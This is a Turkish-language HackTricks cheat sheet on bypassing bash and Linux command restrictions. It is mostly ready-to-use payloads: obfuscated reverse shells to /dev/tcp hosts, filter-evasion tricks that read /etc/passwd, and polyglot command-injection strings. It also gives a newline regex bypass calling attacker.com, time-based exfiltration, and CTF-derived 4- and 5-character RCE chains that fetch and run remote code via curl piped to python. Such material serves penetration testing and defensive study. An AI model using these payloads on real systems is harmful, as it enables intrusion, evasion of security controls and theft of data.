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hacktricks/linux-hardening/bypass-bash-restrictions/README.md

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# Linux Kısıtlamalarını Atlatma
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Yaygın Kısıtlamaları Atlatma
### Ters Kabuk
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Kısa Rev kabuk
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Yolları Atlayın ve yasaklanan kelimeleri geçin
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Yasaklı boşlukları atlayın
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Ters eğik çizgi ve eğik çizgiyi atlatma
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Boruları Atla
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Onaltılık kodlama ile atlatma
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### IP'leri Atlatma
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Zaman tabanlı veri sızdırma
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Ortam Değişkenlerinden Karakter Alma
```bash
$ echo ${!A*}
```
Bu komut, ortam değişkenlerinden karakterleri almak için kullanılır.
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS verisi dışa aktarma
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
### Yerleşik Fonksiyonlar
Dış fonksiyonları yürütemediğiniz durumlarda ve yalnızca **sınırlı bir yerleşik fonksiyon kümesine erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz** var:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Çok dilli komut enjeksiyonu
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Potansiyel regexleri atlayın
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
Bashfuscator, Bash kısıtlamalarını atlamak için kullanılan bir araçtır. Bu araç, Bash kodunu anlaşılması zor hale getirerek güvenlik önlemlerini atlamayı amaçlar. Bashfuscator, Bash betiklerini çalıştırmak için gerekli olan işlevselliği korurken, kodun okunabilirliğini azaltır. Bu sayede, güvenlik duvarları veya diğer kısıtlamaları atlamak için kullanılabilir.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### 5 karakter ile Uzaktan Kod Çalıştırma (RCE)
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### 4 karakter ile Uzaktan Kod Çalıştırma (RCE)
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Salt-Okuma/Noexec/Distroless Atlatma
Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot ve Diğer Hapishaneleri Atlatma
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
{% endcontent-ref %}
## Referanslar ve Daha Fazlası
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
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